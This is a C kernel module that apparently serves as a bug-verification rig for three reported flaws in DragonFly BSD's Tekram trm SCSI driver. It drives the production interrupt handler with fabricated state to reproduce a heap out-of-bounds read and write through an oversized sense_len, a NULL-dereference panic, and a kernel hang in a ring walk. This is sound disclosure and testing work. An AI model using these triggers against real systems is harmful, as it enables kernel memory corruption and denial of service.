/*
 * df252x_trm_rig.c - verification rig for DF-2522 / DF-2523 / DF-2524
 * (sys/dev/disk/trm/trm.c, Tekram DC395U TRM-S1040 SCSI HBA driver).
 *
 * This module contains ZERO driver logic.  It
 *
 *   1. fabricates the exact post-attach driver state (ACB/DCB/SRB as the
 *      driver itself builds them, per sys/dev/disk/trm/trm.h);
 *   2. emulates the TRM-S1040 register file with a scratch page placed
 *      behind the kernel's own bus_space accessors
 *      (tag = X86_64_BUS_SPACE_MEM => plain volatile loads/stores,
 *       exactly what the driver sees on a memory-mapped BAR);
 *   3. DISPATCHES THE PRODUCTION trm_Interrupt() of the loaded
 *      /boot/kernel/trm.ko (runtime address = kldstat base + nm(1) offset,
 *      injected via sysctl kern.df252x.addr).
 *
 * Scenarios (sysctl -w kern.df252x.go=N):
 *   1  DF-2522 : auto-request-sense completion with csio->sense_len = 255
 *                -> production bcopy at trm.c:2529-2530 copies 255 bytes out
 *                   of the 32-byte DMA sense slot (OOB READ past
 *                   pACB->sense_buffers[255]) into &csio->sense_data
 *                   (OOB WRITE past the 32-byte field, over sense_len,
 *                   cdb_len, ..., cdb_io, msg_ptr, tag_id and past the
 *                   sizeof(union ccb) heap allocation).
 *   2  control : identical dispatch with sense_len = 32 (SSD_FULL_SIZE,
 *                the legal maximum) - no overflow anywhere.
 *   3  DF-2524 : DISCONNECT interrupt while pDCB->pActiveSRB == NULL
 *                -> trm_Disconnect (trm.c:2354-2356) dereferences
 *                   pSRB->pccb with pSRB == NULL (the source comment
 *                   at trm.c:2355 says: "bug pSRB=0")
 *                   -> kernel page fault / panic.
 *   4  control : RESELECTED interrupt whose ID/LUN matches a DCB
 *                -> production trm_Reselect completes and returns.
 *   5  DF-2523 : RESELECTED interrupt whose RselTarLunId (13-bit reg value
 *                0x1000) matches NO DCB in the circular list
 *                -> trm_Reselect's DCB ring walk (trm.c:2428-2431) has no
 *                   exit - the dispatch never returns (kernel DoS).
 *
 * Build: see build.sh.  Run:  see run.sh.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/bus.h>
#include <sys/kthread.h>
#include <sys/thread2.h>
#include <sys/callout.h>
#include <sys/time.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>

#include "trm.h"			/* verbatim sys/dev/disk/trm/trm.h */

MALLOC_DEFINE(M_DF252X, "df252x", "DF-2522/23/24 trm verification rig");

/* ------------------------------------------------------------------ */
/* injected production handler                                         */
/* ------------------------------------------------------------------ */
static unsigned long	 df252x_addr;	/* runtime &trm_Interrupt */
static void		(*trm_Interrupt_fn)(void *) = (void (*)(void *))1;
static int		 df252x_go;
static struct thread	*t1_td;
static volatile int	 t1_entering, t1_returned, hb_ticks;
static struct callout	 hb_co;
static struct timeval	 t1_t0;

/* register offsets used by the paths under test (trm.h) */
#define RG_SCSI_STATUS		0x80
#define RG_SCSI_CONTROL		0x80
#define RG_SCSI_INTSTATUS	0x84
#define RG_SCSI_TARGETID	0x86

/* ------------------------------------------------------------------ */
/* scenario 1/2 : the auto-sense bcopy (DF-2522)                       */
/* ------------------------------------------------------------------ */
static int
df2522_run(int sense_len)
{
	uint8_t *regs, *arena_src, *arena_dst;
	TRM_ACB *acb;
	TRM_DCB *dcb;
	TRM_SRB *srb;
	SGentry *sgp;
	union ccb *ccb;
	size_t off_sense, off_csio, i;
	int n_src_past, n_dst_in, n_dst_past, n_sentinel;
	uint8_t *dest;

	regs = kmalloc(256, M_DF252X, M_WAITOK | M_ZERO);
	arena_src = kmalloc(TRM_MAX_SRB_CNT * 32 + 256, M_DF252X,
			    M_WAITOK | M_ZERO);
	arena_dst = kmalloc(sizeof(union ccb) + 256, M_DF252X, M_WAITOK);
	sgp = kmalloc(sizeof(SGentry), M_DF252X, M_WAITOK | M_ZERO);
	acb = kmalloc(sizeof(TRM_ACB), M_DF252X, M_WAITOK | M_ZERO);
	dcb = kmalloc(sizeof(TRM_DCB), M_DF252X, M_WAITOK | M_ZERO);
	srb = kmalloc(sizeof(TRM_SRB), M_DF252X, M_WAITOK | M_ZERO);

	/*
	 * source arena: 256 DMA sense slots (each 32 bytes =
	 * sizeof(struct scsi_sense_data), exactly how trm_attach allocates
	 * them, trm.c:3458-3480).  slot 255 = 0x51 pattern; the 256 bytes
	 * PAST the array (adjacent kernel heap on a real machine) = 0xA7.
	 */
	memset(arena_src, 0xA7, TRM_MAX_SRB_CNT * 32 + 256);
	memset(arena_src + (TRM_MAX_SRB_CNT - 1) * 32, 0x51, 32);

	/*
	 * destination arena: the union ccb (a real CAM pass(4) CCB is a
	 * kmalloc(sizeof(union ccb)) object - cam_xpt.c:4933 xpt_alloc_ccb)
	 * followed by 256 bytes of 0xDB sentinel standing for the adjacent
	 * heap allocation.
	 */
	memset(arena_dst, 0xDB, sizeof(union ccb) + 256);
	ccb = (union ccb *)arena_dst;
	bzero(ccb, sizeof(union ccb));

	off_csio = offsetof(union ccb, csio);
	off_sense = off_csio + offsetof(struct ccb_scsiio, sense_data);

	ccb->ccb_h.func_code = XPT_NOOP;	/* no XPT_FC_QUEUED: xpt_done noop */
	ccb->ccb_h.flags = CAM_DIR_NONE;	/* skip the dmamap sync/unload */
	ccb->ccb_h.target_id = 0;
	ccb->ccb_h.target_lun = 0;
	ccb->csio.sense_len = sense_len;	/* verbatim user CCB value */

	/* SRB exactly as the auto-request-sense completion leaves it */
	srb->pccb = ccb;
	srb->SRBState = SRB_COMPLETED;		/* trm_Disconnect -> SRBdone */
	srb->SRBFlag = AUTO_REQSENSE;		/* set by trm_RequestSense */
	srb->TargetStatus = 0;			/* sense cmd itself succeeded */
	srb->TagNumber = TRM_MAX_SRB_CNT - 1;	/* LAST DMA sense slot */
	srb->pNextSRB = NULL;
	srb->pSRBSGL = sgp;
	srb->SgSenseTemp.address = 0x11111111;
	srb->SgSenseTemp.length = 0x22222222;
	srb->Segment0[0] = 0x3333333333333333UL;
	srb->Segment0[1] = 0x4444444444444444UL;
	srb->Segment1[1] = 0x55555555;
	memset(srb->CmdBlock, 0x66, sizeof(srb->CmdBlock));

	/* DCB in the state trm_StartSCSI leaves it */
	dcb->pActiveSRB = srb;
	dcb->pGoingSRB = srb;
	dcb->pGoingLastSRB = srb;
	dcb->GoingSRBCnt = 1;
	dcb->MaxActiveCommandCnt = 1;
	dcb->TargetID = 0;
	dcb->TargetLUN = 0;

	/* ACB in its post-attach shape */
	acb->tag = 1;				/* X86_64_BUS_SPACE_MEM */
	acb->bsh = (bus_space_handle_t)(uintptr_t)regs;
	acb->sense_buffers = (struct scsi_sense_data *)arena_src;
	acb->pActiveDCB = dcb;
	acb->pLinkDCB = NULL;			/* trm_DoWaitingSRB exits */
	acb->pDCBRunRobin = NULL;
	acb->pFreeSRB = NULL;
	/* scan_devices[][] all zero: ckc_e INQUIRY logic skipped */

	/* the chip raises a SCSI interrupt: STATUS has SCSIINTERRUPT,
	 * INTSTATUS says DISCONNECT (trm_Interrupt -> trm_Disconnect) */
	*(volatile uint16_t *)(regs + RG_SCSI_STATUS) = 0x0080;
	regs[RG_SCSI_INTSTATUS] = 0x10;		/* INT_DISCONNECT */

	kprintf("df252x[%d]: layouts: sizeof(scsi_sense_data)=%zu "
	    "sizeof(ccb_scsiio)=%zu sizeof(union ccb)=%zu "
	    "offsetof(csio,sense_data)=%zu sense_data+max_copy=%zu\n",
	    sense_len, sizeof(struct scsi_sense_data),
	    sizeof(struct ccb_scsiio), sizeof(union ccb), off_sense,
	    off_sense + 255);
	kprintf("df252x[%d]: dispatching production trm_Interrupt: "
	    "DISCONNECT completion of SRB 0x%lx TagNumber=%d, "
	    "SRBFlag=AUTO_REQSENSE, csio->sense_len=%d, "
	    "sense DMA slot=255 (last of 256)\n",
	    sense_len, (unsigned long)srb, srb->TagNumber, sense_len);

	trm_Interrupt_fn(acb);			/* <<< PRODUCTION CODE */

	kprintf("df252x[%d]: trm_Interrupt RETURNED (guest alive)\n",
	    sense_len);

	/* production-code side effects proving trm_SRBdone ran */
	kprintf("df252x[%d]: SRBdone ran: pDCB->pActiveSRB=%p (cleared by "
	    "trm.c:2402), pACB->pFreeSRB=%p==SRB, GoingSRBCnt=%d, "
	    "pSRBSGL->address=0x%08x (restored 0x11111111), "
	    "SRBTotalXferLength=0x%08x (restored 0x55555555), "
	    "CmdBlock[0]=0x%02x (restored 0x33), "
	    "ccb_h.status=0x%08x (CAM_SCSI_STATUS_ERROR|CAM_AUTOSNS_VALID)\n",
	    sense_len, dcb->pActiveSRB, acb->pFreeSRB, dcb->GoingSRBCnt,
	    sgp->address, srb->SRBTotalXferLength, srb->CmdBlock[0],
	    ccb->ccb_h.status);

	dest = arena_dst + off_sense;
	n_src_past = 0;
	for (i = 0; i < 32; i++)
		if (dest[i] != 0x51)
			break;
	n_src_past = (i == 32);
	kprintf("df252x[%d]: dest sense_data[0..31]: all 0x51 "
	    "(DMA slot pattern): %s; first bytes: %02x %02x %02x %02x\n",
	    sense_len, n_src_past ? "YES" : "NO",
	    dest[0], dest[1], dest[2], dest[3]);

	if (sense_len > 32) {
		int bad = 0;
		for (i = 32; i < (size_t)sense_len; i++)
			if (dest[i] != 0xA7)
				bad++;
		kprintf("df252x[%d]: *** dest bytes [%d..%d) = 0xA7 "
		    "(pattern that exists ONLY past the 256-slot "
		    "sense_buffers array): %s (%d/%d bytes) "
		    "-> OOB READ past the 32-byte DMA sense slot ***\n",
		    sense_len, 32, sense_len,
		    (sense_len - 32 - bad) == 0 ? "ABSENT - COPY WAS CLAMPED"
		    : "CONFIRMED",
		    (sense_len - 32) - bad, sense_len - 32);

		kprintf("df252x[%d]: clobbered LIVE ccb fields: "
		    "sense_len=0x%02x cdb_len=0x%02x sglist_cnt=0x%04x "
		    "scsi_status=0x%02x(set to 0x02 by trm.c:2528, "
		    "overwritten!) sense_resid=0x%02x resid=0x%08x "
		    "cdb_io.cdb_ptr=0x%016jx msg_ptr=0x%016jx "
		    "msg_len=0x%04x tag_action=0x%02x tag_id=0x%08x "
		    "init_id=0x%08x\n",
		    sense_len, ccb->csio.sense_len, ccb->csio.cdb_len,
		    ccb->csio.sglist_cnt, ccb->csio.scsi_status,
		    ccb->csio.sense_resid, ccb->csio.resid,
		    (uintmax_t)(uintptr_t)ccb->csio.cdb_io.cdb_ptr,
		    (uintmax_t)(uintptr_t)ccb->csio.msg_ptr,
		    ccb->csio.msg_len, ccb->csio.tag_action,
		    ccb->csio.tag_id, ccb->csio.init_id);
	} else {
		kprintf("df252x[%d]: control: dest[32]=0x%02x (0xDB sentinel "
		    "untouched), sense_len still 0x%02x, scsi_status=0x%02x "
		    "(CHECK_COND intact) - NO overflow\n",
		    sense_len, dest[32], ccb->csio.sense_len,
		    ccb->csio.scsi_status);
	}

	/* how far past the sizeof(union ccb) allocation did the write go? */
	n_dst_in = n_dst_past = n_sentinel = 0;
	for (i = off_sense + 32; i < off_sense + (size_t)sense_len; i++) {
		if (i < sizeof(union ccb)) {
			if (arena_dst[i] != 0xDB && arena_dst[i] != 0)
				n_dst_in++;	/* in-struct field clobber */
		} else if (i < sizeof(union ccb) + 256) {
			if (arena_dst[i] != 0xDB)
				n_dst_past++;	/* PAST the allocation */
		}
	}
	for (i = 0; i < 256; i++)
		if (arena_dst[sizeof(union ccb) + i] != 0xDB)
			n_sentinel++;
	kprintf("df252x[%d]: write extent: %zu bytes past sense_data start; "
	    "in-struct live-field clobber bytes=%d; sentinel bytes past "
	    "sizeof(union ccb) clobbered=%d (expected %ld) "
	    "-> OOB WRITE past the ccb heap allocation: %s\n",
	    sense_len, (size_t)((size_t)sense_len > 32 ? 255 - 32 : 0),
	    n_dst_in, n_sentinel,
	    (long)((off_sense + (size_t)sense_len > sizeof(union ccb)) ?
	    off_sense + sense_len - sizeof(union ccb) : 0),
	    n_sentinel ? "*** CONFIRMED ***" : "no (write stayed in-struct)");

	kfree(regs, M_DF252X);
	kfree(arena_src, M_DF252X);
	kfree(arena_dst, M_DF252X);
	kfree(sgp, M_DF252X);
	kfree(acb, M_DF252X);
	kfree(dcb, M_DF252X);
	kfree(srb, M_DF252X);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 3 : NULL pActiveSRB disconnect (DF-2524)                  */
/* ------------------------------------------------------------------ */
static int
df2524_run(void)
{
	uint8_t *regs;
	TRM_ACB *acb;
	TRM_DCB *dcb;

	regs = kmalloc(256, M_DF252X, M_WAITOK | M_ZERO);
	acb = kmalloc(sizeof(TRM_ACB), M_DF252X, M_WAITOK | M_ZERO);
	dcb = kmalloc(sizeof(TRM_DCB), M_DF252X, M_WAITOK | M_ZERO);

	acb->tag = 1;
	acb->bsh = (bus_space_handle_t)(uintptr_t)regs;
	acb->pActiveDCB = dcb;		/* an adapter is connected ...      */
	dcb->pActiveSRB = NULL;		/* ... but its DCB has NO active SRB */

	*(volatile uint16_t *)(regs + RG_SCSI_STATUS) = 0x0080;
	regs[RG_SCSI_INTSTATUS] = 0x10;		/* INT_DISCONNECT */

	kprintf("df2524: offsetof(SRB,pccb)=%zu -> faulting read at "
	    "0x%zx\n", offsetof(TRM_SRB, pccb), offsetof(TRM_SRB, pccb));
	kprintf("df2524: dispatching production trm_Interrupt: DISCONNECT "
	    "with pACB->pActiveDCB=0x%lx, pDCB->pActiveSRB=NULL "
	    "(trm.c:2354) - expect NULL deref panic at trm.c:2356 "
	    "(\"/* bug pSRB=0 */\")\n", (unsigned long)dcb);

	trm_Interrupt_fn(acb);		/* <<< PRODUCTION CODE */

	/* only reached on a patched kernel */
	kprintf("df2524: trm_Interrupt RETURNED - no NULL deref "
	    "(guard present)\n");
	kfree(regs, M_DF252X);
	kfree(acb, M_DF252X);
	kfree(dcb, M_DF252X);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 4/5 : reselection (DF-2523 + control)                     */
/* ------------------------------------------------------------------ */
static TRM_ACB	*r_acb;
static TRM_DCB	*r_ring[3];
static uint8_t	*r_regs;

static void
df2523_setup(uint16_t rselval)
{
	int i;
	static const uint8_t ids[3] = {1, 2, 3};
	static const uint8_t luns[3] = {0, 0, 2};

	r_regs = kmalloc(256, M_DF252X, M_WAITOK | M_ZERO);
	r_acb = kmalloc(sizeof(TRM_ACB), M_DF252X, M_WAITOK | M_ZERO);
	for (i = 0; i < 3; i++)
		r_ring[i] = kmalloc(sizeof(TRM_DCB), M_DF252X,
				    M_WAITOK | M_ZERO);

	for (i = 0; i < 3; i++) {		/* circular 3-DCB list */
		r_ring[i]->TargetID = ids[i];
		r_ring[i]->TargetLUN = luns[i];
		r_ring[i]->pNextDCB = r_ring[(i + 1) % 3];
	}
	r_acb->tag = 1;
	r_acb->bsh = (bus_space_handle_t)(uintptr_t)r_regs;
	r_acb->pActiveDCB = NULL;
	r_acb->pLinkDCB = r_ring[0];
	r_acb->pDCBRunRobin = NULL;
	r_acb->DeviceCnt = 3;		/* production ring bookkeeping */

	*(volatile uint16_t *)(r_regs + RG_SCSI_STATUS) = 0x0080;
	r_regs[RG_SCSI_INTSTATUS] = 0x08;		/* INT_RESELECTED */
	*(volatile uint16_t *)(r_regs + RG_SCSI_TARGETID) = rselval;
}

static void
df2523_cleanup(void)
{
	int i;

	if (r_regs) { kfree(r_regs, M_DF252X); r_regs = NULL; }
	if (r_acb) { kfree(r_acb, M_DF252X); r_acb = NULL; }
	for (i = 0; i < 3; i++) {
		if (r_ring[i]) { kfree(r_ring[i], M_DF252X); r_ring[i] = NULL; }
	}
}

static void
df2523_report(const char *tag, uint16_t rselval)
{
	int i;

	for (i = 0; i < 3; i++) {
		uint16_t packed = r_ring[i]->TargetID |
		    (r_ring[i]->TargetLUN << 8);
		kprintf("df2523%s: ring[%d] TargetID=%d LUN=%d packed=0x%04x "
		    "pActiveSRB=%p\n", tag, i, r_ring[i]->TargetID,
		    r_ring[i]->TargetLUN, packed, r_ring[i]->pActiveSRB);
	}
	kprintf("df2523%s: RselTarLunId=0x%04x (TRMREG_SCSI_TARGETID & "
	    "0x1FFF, trm.c:2426)\n", tag, rselval);
}

static int
df2523_control(void)
{
	uint16_t rsel = 0x0203;		/* matches ring[2]: ID=3 LUN=2 */

	df2523_setup(rsel);
	df2523_report("[ctl]", rsel);
	kprintf("df2523[ctl]: dispatching production trm_Interrupt "
	    "(RESELECTED, matching ID) - expect clean return\n");
	trm_Interrupt_fn(r_acb);	/* <<< PRODUCTION CODE */
	kprintf("df2523[ctl]: trm_Interrupt RETURNED: pActiveDCB=ring[2] "
	    "(%s), ring[2]->pActiveSRB=&TmpSRB (%s), TmpSRB.SRBState=0x%04x "
	    "(SRB_UNEXPECT_RESEL=0x8000), TmpSRB.MsgOutBuf[0]=0x%02x "
	    "(MSG_ABORT), MsgCnt=%d, SCSI_CONTROL write=0x%04x\n",
	    r_acb->pActiveDCB == r_ring[2] ? "YES" : "NO",
	    r_acb->pActiveDCB == r_ring[2] &&
	    r_ring[2]->pActiveSRB == &r_acb->TmpSRB ? "YES" : "NO",
	    r_acb->TmpSRB.SRBState, r_acb->TmpSRB.MsgOutBuf[0],
	    r_acb->TmpSRB.MsgCnt,
	    *(volatile uint16_t *)(r_regs + RG_SCSI_CONTROL));
	df2523_cleanup();
	return (0);
}

/* the non-terminating case, run in a dedicated kernel thread */
static void
t1_main(void *arg)
{

	t1_entering = 1;
	microtime(&t1_t0);
	kprintf("df2523[T1]: entering production trm_Interrupt "
	    "(RESELECTED, RselTarLunId=0x1000 matches NO DCB of the "
	    "3-DCB circular list)\n");
	trm_Interrupt_fn(r_acb);	/* <<< PRODUCTION CODE, never returns */
	t1_returned = 1;
	kprintf("df2523[T1]: trm_Interrupt RETURNED (unreachable on "
	    "vulnerable kernel)\n");
	/* NOTREACHED on vulnerable kernel */
	t1_entering = 0;
	kthread_exit();
}

static void
hb_fire(void *x)
{
	struct timeval t1;

	if (t1_entering && !t1_returned) {
		microtime(&t1);
		hb_ticks++;
		kprintf("df2523[HB]: *** NON-TERMINATION CONFIRMED: %ld.%06ld s "
		    "inside trm_Interrupt/trm_Reselect - the DCB ring walk "
		    "(trm.c:2428-2431) has no exit ***\n",
		    t1.tv_sec - t1_t0.tv_sec, t1.tv_usec - t1_t0.tv_usec);
		if (hb_ticks < 3)
			callout_reset(&hb_co, 3 * hz, hb_fire, NULL);
	}
}

static int
df2523_nomatch(void)
{

	df2523_setup(0x1000);	/* bit 12 set: no DCB can ever pack to it
				 * (DCB packed value <= 0x070F) */
	df2523_report("[T1]", 0x1000);
	callout_init(&hb_co);
	hb_ticks = 0;
	t1_entering = t1_returned = 0;
	kthread_create(t1_main, NULL, &t1_td, "df2523_t1");
	callout_reset(&hb_co, 3 * hz, hb_fire, NULL);
	return (0);
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                     */
/* ------------------------------------------------------------------ */
static int
df252x_go_sysctl(SYSCTL_HANDLER_ARGS)
{
	int val, error;

	val = df252x_go;
	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df252x_go = val;

	if (df252x_addr == 0 || df252x_addr == 1) {
		kprintf("df252x: kern.df252x.addr not set yet\n");
		return (EINVAL);
	}
	trm_Interrupt_fn = (void (*)(void *))df252x_addr;
	switch (val) {
	case 1:
		return (df2522_run(255));
	case 2:
		return (df2522_run(32));
	case 3:
		return (df2524_run());
	case 4:
		return (df2523_control());
	case 5:
		return (df2523_nomatch());
	default:
		return (EINVAL);
	}
}

static SYSCTL_NODE(_kern, OID_AUTO, df252x, CTLFLAG_RW, 0,
    "DF-2522/23/24 trm verification rig");
SYSCTL_ULONG(_kern_df252x, OID_AUTO, addr, CTLFLAG_RW, &df252x_addr, 0,
    "runtime address of production trm_Interrupt");
SYSCTL_PROC(_kern_df252x, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df252x_go_sysctl, "I", "1=DF2522 2=ctl 3=DF2524 4=ctl 5=DF2523");

static int
df252x_modevent(module_t mod, int type, void *data)
{

	switch (type) {
	case MOD_LOAD:
		trm_Interrupt_fn = (void (*)(void *))1;
		kprintf("df252x: rig loaded (set kern.df252x.addr from "
		    "kldstat+nm, then kern.df252x.go=N)\n");
		return (0);
	case MOD_UNLOAD:
		if (t1_entering && !t1_returned) {
			kprintf("df252x: T1 still spinning inside "
			    "trm_Reselect - unload refused\n");
			return (EBUSY);
		}
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df252x_mod = { "df252x_trm_rig", df252x_modevent, 0 };
DECLARE_MODULE(df252x_trm_rig, df252x_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
